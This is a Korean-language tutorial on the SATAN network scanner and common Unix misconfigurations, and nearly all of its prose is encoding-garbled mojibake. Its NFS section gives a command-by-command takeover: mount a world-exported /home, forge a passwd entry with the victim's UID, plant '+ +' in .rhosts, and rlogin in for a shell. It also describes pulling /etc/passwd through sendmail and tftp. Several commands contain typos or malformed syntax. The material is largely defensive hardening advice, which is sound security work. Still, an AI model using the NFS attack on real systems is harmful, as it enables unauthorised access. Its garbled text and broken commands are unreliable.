Dan Farmer¿Í Wietse Venema°¡ ¸¸µç SATAN(System Administrator Tool for Analyzing Netwarks)Àº ¸®¸ðÆ® ½Ã½ºÅÛÀ» ½ÃÇèÇÑ´Ù´Â
°ÍÀ» Á¦¿ÜÇÏ°í´Â COPS¿Í ±× ¿ø¸®°¡ °°´Ù. µû¶ó¼ ÀÌ ÇÁ·Î±×·¥À» ÀÛµ¿½ÃÅ°´Â ¸ðµç »ç¿ëÀÚ´Â ´Ù¸¥(others) ½Ã½ºÅÛÀÇ ±¸¸Û( vulnerablilty)À» ¹ß°ßÇÒ ¼ö ÀÖ´Ù
.
¿ÜºÎ¿¡¼ÀÇ ½Ã½ºÅÛ È¦ÀÇ ÁöÀûÇØ ÁÖ´Â µµ±¸ satanÀÇ Ãâ½Ã·Î
ÀÎÇÏ¿© ¸¹Àº ½Ã½ºÅÛÀÇ vulnerablilty °¡ µå·¯³ª°Ô µÇ¾ú´Ù´Â ´ÜÁ¡µµ °¡ÁöÁö¸¸, °ü¸®Àڵ鿡°Ô ÀÚ½ÅÀÇ ½Ã½ºÅÛÀÇ È¦À» ¸ð´ÏÅ͸µ ÇØÁشٴ ÀÔÀå°ú Àú¿ïÁú ÇØ º¸¾ÒÀ» ¶§ ±àÁ¤ÀûÀÎ Ãø¸éÀÌ ´õ Å©´Ù°í ÇÒ¼ö ÀÖ´Ù.
SATANÀº ³×Æ®¿÷À» ÅëÇÏ¿© ¸®¸ðÆ® ½Ã½ºÅÛÀÇ º¸¾È Á¤µµ¸¦ Á¶»çÇÏ°í ±× ÀڷḦ µ¥ÀÌÅͺ£À̽º¿¡ ÀúÀåÇÑ´Ù. ÀÌ °á°ú¸¦ httpÇÁ·ÎÅäÄÝ
À» Áö¿øÇÏ´Â HTML browser¸¦ ÅëÇÏ¿© ½±°Ô º¼ ¼ö ÀÖÀ¸¸ç, È£½ºÆ®ÀÇ Å¸ÀÔ, ¼ºñ½º, vulnerabilityµîÀÇ º¸°í¼¸¦ ¸¸µé¾î ³¾ ¼ö
ÀÖ´Ù. ±âº»ÀûÀ¸·Î SATANÀÇ ½ÇÇàÀº ¼³Á¤ ÆÄÀÏ(config/satan.cf)¿¡ ÀÇÇÏ¿© Á¦¾îµÉ ¼ö ÀÖ´Ù.
±×¸®°í,
SATANÀº ¹®Á¦¸¦ ¹ß°ßÇßÀ» ½Ã¿¡´Â, °Ë»ö±â »ó¿¡¼ ±×°ÍÀÌ ¿Ö ¹®Á¦°¡ µÇ´ÂÁö, ¾î¶»°Ô ÇÏ¸é ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´ÂÁö¸¦ °ü¸®ÀÚ¿¡°Ô ¾Ë·ÁÁظç, Hyper link·Î ¿¬°áµÇ¾î ÀÖ´Â ±æÀ» µû¶ó°¡´Ù º¸¸é ±× ¹®Á¦Á¡¿¡ ´ëÇÑ º¸¾È ´ëÃ¥µµ ¾Ë·ÁÁØ´Ù.
´ÙÀ½»çÇ×(ÀÌÇÏ(1~10))µéÀº¿ÜºÎ¿¡¼ ¹Ù¶óº» ½Ã½ºÅÛ È¦µéÀ̸ç,ÀÌ È¦µéÀº °ü¸®ÀÚµéÀÌ ¼Â¾÷À» È®½ÇÇÏ°Ô ¹Ù²Ù´Â
°Í¿¡ ÀÇÇØ ±ÙÀý ½Ãų¼ö ÀÖ´Ù).
- NFS mount attack
NFS ¶õ Network File System ÀÇ ¾àÀڷνá LAN ¿¡ Á¢¼ÓµÇ¾î ÀÖ´Â ÄÄÇ»Å͵éÀÌ File system À»
°øµ¿»ç¿ëÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. File system À» export ÇØÁÖ´Â ½Ã½ºÅÛÀ» Server, ±× ÈÀÏ ½Ã½ºÅÛÀ» mounting ÇÏ¿© »ç¿ëÇÏ´Â ½Ã½ºÅÛÀ» client ¶ó Çϴµ¥, ¹®Á¦´Â server Ãø¿¡¼ export list ¸¦ À߸ø setup ÇÏ¿´À»¶§ ³ªÅ¸³´Ù.
¾î¶°ÇÑ server °¡ ´©±¸¿¡°Ô ¾î´À ÈÀÏ ½Ã½ºÅÛÀ» export ÇÏ°í ÀÖ´ÂÁö´Â 'showmount'
command ¸¦ ÀÌ¿ëÇؼ ¾Ë¾Æ º¼¼ö ÀÖ´Ù.
[kus:chester] showmount -e baikdu.kaist.ac.kr
export list for baikdu.kaist.ac.kr:
/cdrom kus,kus.kaist.ac.kr
/baikdu sokri.kaist.ac.kr,kus.kaist.ac.kr
/camis wook,mis_pc1,mis_pc2
À§¿Í °°ÀÌ baikdu ¶õ È£½ºÆ®´Â cdrom baikdu camis ¶õ file system À» µÚ¿¡ ³ª¿µÇ¾î ÀÖ´Â
TRUSTED HOST ¿¡°Ô export ÇÑ´Ù´Â °ÍÀÌ´Ù. Áï, µÚ¿¡ ³ª¿µÈ È£½ºÆ® ¿Ü¿£ ±× ÈÀÏ ½Ã½ºÅÛÀ» ¸¶¿îÆà ÇÏ¿© »ç¿ëÇÒ¼ö ¾ø´Ù´Â °ÍÀ» ³ªÅ¸³½´Ù. ¹®Á¦´Â ÀÌ·¯ÇÑ ÈÀÏ ½Ã½ºÅÛÀ» everyone¿¡°Ô export
ÇÒ¶§ ÀϾÙ.
[kus:chester]bshowmount -e target.com
export list for target.com:
/home (everyone)
/usr (everyone)
ÀÌ·¯ÇÑ °æ¿ì¿¡´Â.. /home À» ÀÏ´Ü ¸¶¿îÆÃÇؼ ±× ¾È´Ì À¯ÀúÀÇ È¨µð·ºÅ丮¿¡ .rhosts µîÀ»
³Ö¾îµÐÈÄ rlogin À̳ª rsh ¸¦ »ç¿ë Çؼ target machine ÀÇ shell À» ½±°Ô ¾ò¾î ³¾¼ö ÀÖ´Ù.
´ÙÀ½ÀÇ ¿¹Á¦¸¦ º¸µµ·Ï ÇÏÀÚ.
kus# showmount -e target.com:/home/mount
kus# ls /mount
chester/ poison/ sakai/ yspace/
kus# ls -al chester
drwxr-xr-x 2 47 3 512 Nov 9 06:13 src/
drwxr-xr-x 3 47 3 512 Nov 29 00:35 sss/
-rw- - -------- 1 47 3 2307 Dec 10 23:28 table
kus# echo "temp::47:3:temporary:/mount/chester:/bin/csh">> /eyc/passwd
kus# su temp
temp% echo "+ +" .rhosts
temp% exit
kus#
kus# rlogin target.com -1 chester
( Logging in )
chester%
chester% hostname
target
ÀÌ·±½ÄÀ¸·Î ½±°Ô ½©À» ÃëÇÏ°Ô µÈ´Ù.. NFS setup Àº ½Ã½ºÅÛÀÇ º¸¾È°ü¸®ÀÇ °¡Àå ±âº»ÀÌ µÈ´Ù.
- anonymous ftp ÀÇ setup ÀÌ À߸ø µÈ °æ¿ì
ftp ÀÇ permission ÀÌ 666ÀÌ°í ftp account °¡ shell À» °¡Áö°í ÀÖµµ·Ï ¼Â¾÷À» ÇÑ °æ¿ì¿¡´Â ¾Æ¹«³ª
ftp ¿¡ .rhosts À» ¸¸µé¼ö ÀÖ°í rlogin À̳ª ¤¡³ë À» ÅëÇÏ¿© ±Ò°Ô ½©À» µû³Ú¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ À§ÇèÀ»
ÇÇÇϱâ À§ÇÏ¿©, ftp ¸¦ 644 ·Î ¹Ù²Ù°í /etc/passwd ¿¡¼ ftp ÀÇ ½© entry ¸¦ /bin/false ·Î ¹Ù²Û´Ù.
- sendmail ÀÇ hole
OS ¸¦ ÀνºÅçÇÒ¶§ ±âº»ÀûÀ¸·Î µû¶ó¿À´Â sendmail Àº mail from ºÎºÐ¿¡ vertical bar "-"¸¦ ÀÌ¿ëÇؼ
piping À» ÇÑÈÄ passwd ¸¦ »©³»¿Ã ¼ö ÀÖ´Ù. CERT advisory °¡ ¸í½ÃÇÏ´Â »õ·Î¿î version À¸·Î upgrade
ÇÑ´Ù.
- tftp °¡ setup ÀÌ À߸øµÇ¾îÁø °æ¿ì
ÀÌ·± °æ¿ì ½±°Ô /etc/passwd ¸¦ »©¿Ã¼ö ÀÖ´Ù. µû¶ó¼, /etc/inetd.conf ¿¡¼ in.tftpd ¸¦ comment
out ÇÑ´Ù.
- /etc/hosts.equiv °¡ +·Î ¸¶Å©µÇ¾î ÀÖÀ»¶§
ÀÌ·¯ÇÑ °æ¿ì¿¡µµ ½±°Ô shell À» ¾òÀ» ¼ö ÀÖ´Ù. OS INTALL Á÷ÈÄ¿¡´Â default ·Î /etc/hosts.equiv °¡
+ ·Î ¸¶Å·µÇ¾î ÀÖ´Ù. ÀÌ ÈÀÏÀ» »èÁ¦ÇÏ°í /dev/null ·Î ¸µÅ©Çؼ race condition ¿¡ ´ëÇÑ attack
¿¡ ´ëºñÇÑ´Ù.
kus# cd /etc
kus# rm hosts.equiv
kus# ln -s /dev/null hosts.equiv
°¢ User ÀÇ È¨¿¡ ÀÖ´Â .rhosts ¸¦ Çã¿ëÇÏÁö ¾Ê´Â´Ù.
ÇÑ È£½ºÆ®°¡ ÇØÅ· ´çÇϸé .rhosts¿¡ ÀÇÇؼ ¿¬¼ÓÀûÀ¸·Î ¶ÇÇÑ ¹«¹æºñ»óÅ¿¡¼ ÇØÅ·´çÇÏ´Â »çÅ°¡
ÈçÈ÷ ¹ß»ýÇÑ´Ù. ÀÌ·¯ÇÑ À§ÇèÀ» ¸·±â À§Çؼ´Â, ½Ã½ºÅÛ¿¡ Á¸ÀçÇÏ´Â ¸ðµç .rhost fileÀ» ÁÖ±âÀûÀ¸·Î
Áö¿ì´Â ¹æ¹ýÀÌ ÀÖÀ» ¼ö Àִµ¥, ´ÙÀ½ script ¸¦ crontab ¿¡ ³Ö¾î¼ ÀÏÁ¤ ½Ã°£¸¶´Ù µ¹¸°´Ù.
#!/bin/sh
find /home -name '.rhosts' -exec rm -rf {} \;
- FTP vulnerabilites
- REXD ¾×¼¼½º
- r-shellÀÇ Á¢±Ù
- Á¦ÇÑÀÌ ¾ø´Â X ¼¹ö·ÎÀÇ Á¢±Ù
- ¾²±â±ÇÇÑÀÌ ÀÖ´Â FTPÀÇ È¨ µð·ºÅ丮
satan ±¸ÇØ¿À±â
ftp://ftp.win.tue.nl/pub/security/satan-1.0.tar.Z
ftp://ftp.cert-kr.or.kr/pub/Security/tool/satan-1.1.1.tar.Z
satanÀÇ ¼³Ä¡
satanÀÇ ÀνºÅçÀº ¸Å¿ì ½±´Ù. ÇÏÁö¸¸ ¼³Ä¡Çϱâ Àü¿¡ ´ÙÀ½°ú °°Àº ÇÁ·Î±×·¥°ú ȯ°æÀÌ ÇÊ¿äÇÏ´Ù.
¡¤Perl 5.000 ÀÌ»ó
satan À» ÀÌ¿ëÇϱâ À§Çؼ´Â perl 5.0 ¹öÁ¯ ÀÌ»óÀÌ ¼³Ä¡µÇ¾î ÀÖ¾î¾ß ÇÑ´Ù. °¡±î¿î gnu archive ¿¡¼ perl5.0 À» °¡Á®¿Í ÀνºÅçÇÑ ÈÄ satan ÀνºÅçÀ» ½ÃÀÛÇÑ´Ù.
¡¤WWW browser(netscape ¶Ç´Â xmosaic)
¡¤ÃæºÐÇÑ CPU power¿Í ¸Þ¸ð¸® 32M ÀÌ»ó(¸¹Àº data¸¦ ¿øÇÒ ¶§)
satanÇÁ·Î±×·¥°ú À§ÀÇ Á¶°ÇµéÀÌ °®Ãß¾îÁö¸é ´ÙÀ½°ú °°ÀÌ ¼³Ä¡ÇÏ¸é µÈ´Ù.
- ¿ì¼± satan ÀÇ distribution ÈÀÏÀÇ ±¸Á¶¸¦ º¸¸é ¾Æ·¡¿Í °°Àºµ¥ ÈÀÏÁß PerlÀÌ À§Ä¡ÇÑ °æ·Î¿Í WWW browserÀÇ °æ·Î¸¦ ÆÐÄ¡ÇÏ´Â
"reconfig" script ¸¦ ½ÇÇàÇÑ´Ù.
baram# ls -F
Changes | bin/ | perl/ | results/ | satan.ps |
Makefile* | config/ | perllib | rules/ | src/ |
README | html/ | reconfig* | satan* | status_file |
TODO | include/ | repent* | satan.8 | |
¸¸ÀÏ SATANÀÌ ½º½º·Î WWW browser¸¦ ã¾Æ³»Áö ¸øÇÏ°Ô µÈ´Ù¸é config µð·ºÅ丮 ¾ÈÀÇ pasths.pl(Áï config/paths.pl) À» editÇؼ $MOSAICºÎºÐÀ» ¼öÁ¤ÇÑ´Ù.
$XHOST="/usr/bin/X11/xhost";
$PING="/usr/etc/ping";
$MOSAIC="/usr/local/bin/netscape";
. . . . . . .
À§ ºÎºÐÀº system ¿¡ ¼³Ä¡µÈ Web browser ¸¦ ÁöÁ¤ÇÑ´Ù. satan Àº À¯Àú¿ÍÀÇ ´ëÈ¿¡ ÀÖ¾î¼ Web interface ¸¦ ÀÌ¿ëÇϹǷΠÇÑ°¡Áö ÀÌ»óÀÇ Web browser ¸¦ °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù.
- »çźÀÇ »óÀ§ µð·ºÅ丮¿¡¼
"make" ¸¦ ¼öÇàÇÏ¿© system typeÀ» define ÇÑ´Ù.
baram3 make
Usage: make system-type. Known type are:
aix sof bad bsdi dgux irix4 irix5 freebad hpux9 linux sunos4 sunos5 sysv4
*** Error code 1
- ÇöÀç ½Ã½ºÅÛÀÇ Å¸ÀÔÀ» ¾Ë¾Æ º»´Ù. "uname -a" ±×¸®°í ³ª¼ satan ÀÇ Çʼö ºÎºÐÀÇ ¼Ò½º¸¦ ÄÄÆÄÀÏ(·çÆ®±ÇÇÑ) ÇÑ´Ù. »çźÀº ¼Óµµ¸¦ ¿ä±¸ÇÏ´Â ºÎºÐÀº C·Î ±×¸®°í ³ª¸ÓÁö´Â ´ëºÎºÐ perl script ·Î ¸¸µé¾îÁ® ÀÖ´Ù.±×¸®°í ´ëºÎºÐÀÇ µµÅ¥¸àÆ®´Â ÀÚ½ÅÀÌ »ç¿ëÇÏ´Â WWW browser¿¡¼ ¸ðµÎ Á¢±ÙÀÌ °¡´ÉÇÑ HTML ¹®¼ Çü½ÄÀ̹ǷΠÀÚ½ÅÀÇ browser³»¿¡¼ ¸ð
µç ÀÏÀ» ÇÒ ¼ö ÀÖ´Ù.
baram# uname -a
SunOS baram 4.1.3-KL 1 sun4c
baram# make sunos4
cd src/misc: make "LIBS=' "XFLAGS=-DAUTH_GID_T=int" "RPCGEN=rpcgen"
cd src/boot; make "libs=" 'XFLAGS=-DAUTH_GID_T=int" "RPCGEN=rpcgen"
'../../bin/boot' is up to date.
cd src/port_scan; make "LIBS=" "XFLAGS=-DAUTH_GID_T=int"
cc -O -DAUTH_GID_T=int -target sun4 -c tcp_scan.c
. . . . . .
ÀÌ·¸°Ô Çؼ ÄÄÆÄÀÏÀÌ ¸ðµÎ ³¡³ª¸é satan ÀÇ setup Àº ¿Ï·á µÇ¾ú´Ù.
satanÀÇ »ç¿ë
baram# satan
SATAN is starting up. . . .
¶ó´Â ¸Þ¼¼Áö ÀÌÈÄ È¸é¿¡´Â ¿ì¸®¿¡°Ô Àͼ÷ÇÑ Web browser°¡ ³ªÅ¸³¯ °ÍÀÌ´Ù.
satanÀº hyper textÀÇ ÀåÁ¡À» ½ÊºÐ È°¿ëÇÏ°í ÀÖ´Ù. ¾î¶°ÇÑ vulnerability°¡ °¨ÁöµÇ¸é ±×¿¡ ÇØ´çÇÏ´Â documentÀÇ URLÀ» Ç¥½ÃÇØ ÁØ´Ù. µû¶ó¼ »ç¿ëÀÚ´Â ½±°Ô Á¤º¸¸¦ °¡Á®¿Ã ¼ö ÀÖ´Ù.
satanÀ» ¾Æ¹« ÀÎÀÚ ¾øÀÌ ½ÇÇà ½ÃÅ°¸é WWW browser°¡ ½ÇÇàµÇ¸é¼ ¸ðµç ÀÏÀ» ±× browser³»¿¡¼ ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. WWW browser¸¦
ÀÎÅÍÆäÀ̽º·Î ÀÌ¿ëÇϱ⠶§¹®¿¡ º°´Ù¸¥ ½ÇÇàÀº ÇÏÁö ¾Ê°Ú´Ù. ÀÌ¿ë ¹æ¹ýÀº WWW¸¦ ÀÌ¿ëÇÏ´Â °Í°ú ºñ½ÁÇÏ´Ù. µµÅ¥¸ÕÆ®µµ browser³»¿¡
¼ HTML ¹®¼ Çü½ÄÀ¸·Î º¼ ¼ö ÀÖÀ¸¹Ç·Î µµÅ¥¸ÕÆ®¸¦ º¸¸é¼ Â÷±ÙÂ÷±Ù ½ÇÇàÇØ º¸¸é µÈ´Ù.
SATANÀº ´ÙÀ½°ú °°Àº sectionÀ¸·Î ±¸¼ºµÈ´Ù.
- SATAN Data Management
- SATAN Target selection
- SATAN Reporting & Data Analysis
- SATAN Configuration Management
- SATAN Documentation
- SATAN Troubleshooting
satanÀ»»ç¿ëÇÒ ¶§ ÁÖÀÇÇÒ °ÍÀº
TCP wraperµîÀ» ±¸µ¿ÇÏ°í ÀÖ´Ù¸é wrapper¸¦ ¸ðµÎ disable ÇÑ ÈÄ¿¡ »çźÀ» ±¸µ¿ÇØ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. wrapper·Î ÀÎÇÏ¿© port scanning°á°ú¸¦ ¹Þ¾Æ º¼ ¼ö ¾ø´Â »çÅ°¡ »ý±â±âµµ Çϱ⠶§¹®ÀÌ´Ù.